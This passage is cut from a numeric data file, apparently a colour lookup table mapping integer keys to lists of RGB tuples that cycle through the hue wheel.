(101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (151, 101, 204), (154, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 177), (204, 101, 174), (204, 101, 171), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 203: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 141, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 153, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (203, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (188, 204, 101), (185, 204, 101), (182, 204, 101), (179, 204, 101), (176, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (164, 204, 101), (161, 204, 101), (158, 204, 101), (155, 204, 101), (152, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 166), (101, 204, 169), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 193), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 193, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (188, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 177), (204, 101, 174), (204, 101, 171), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 204: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 179, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 201, 101), (204, 204, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (164, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (129, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 126), (101, 204, 129), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 179), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 164, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 122, 204), (101, 119, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (129, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (188, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 164), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 205: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 122, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 137, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 179, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 203, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (120, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 166), (101, 204, 169), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 193), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 193, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (141, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (153, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (165, 101, 204), (168, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 164), (204, 101, 161), (204, 101, 158), (204, 101, 155), (204, 101, 152), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 206: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 122, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 137, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 179, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 203, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (154, 204, 101), (151, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 126), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 126, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (151, 101, 204), (154, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 164), (204, 101, 161), (204, 101, 158), (204, 101, 155), (204, 101, 152), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 207: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 122, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 137, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (167, 204, 101), (164, 204, 101), (161, 204, 101), (158, 204, 101), (155, 204, 101), (152, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 193), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 193, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 167), (204, 101, 164), (204, 101, 161), (204, 101, 158), (204, 101, 155), (204, 101, 152), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 208: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 122, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 137, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 169, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (203, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (188, 204, 101), (185, 204, 101), (182, 204, 101), (179, 204, 101), (176, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (164, 204, 101), (161, 204, 101), (158, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (120, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (141, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (188, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 152), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 209: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 122, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 137, 101), (204, 140, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 169, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (203, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (188, 204, 101), (185, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 126), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 193), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 193, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 126, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (153, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (165, 101, 204), (168, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (185, 101, 204), (188, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 142), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 210: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 122, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 169, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (204, 204, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (154, 204, 101), (151, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 102), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 134), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 166), (101, 204, 169), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (101, 101, 204), 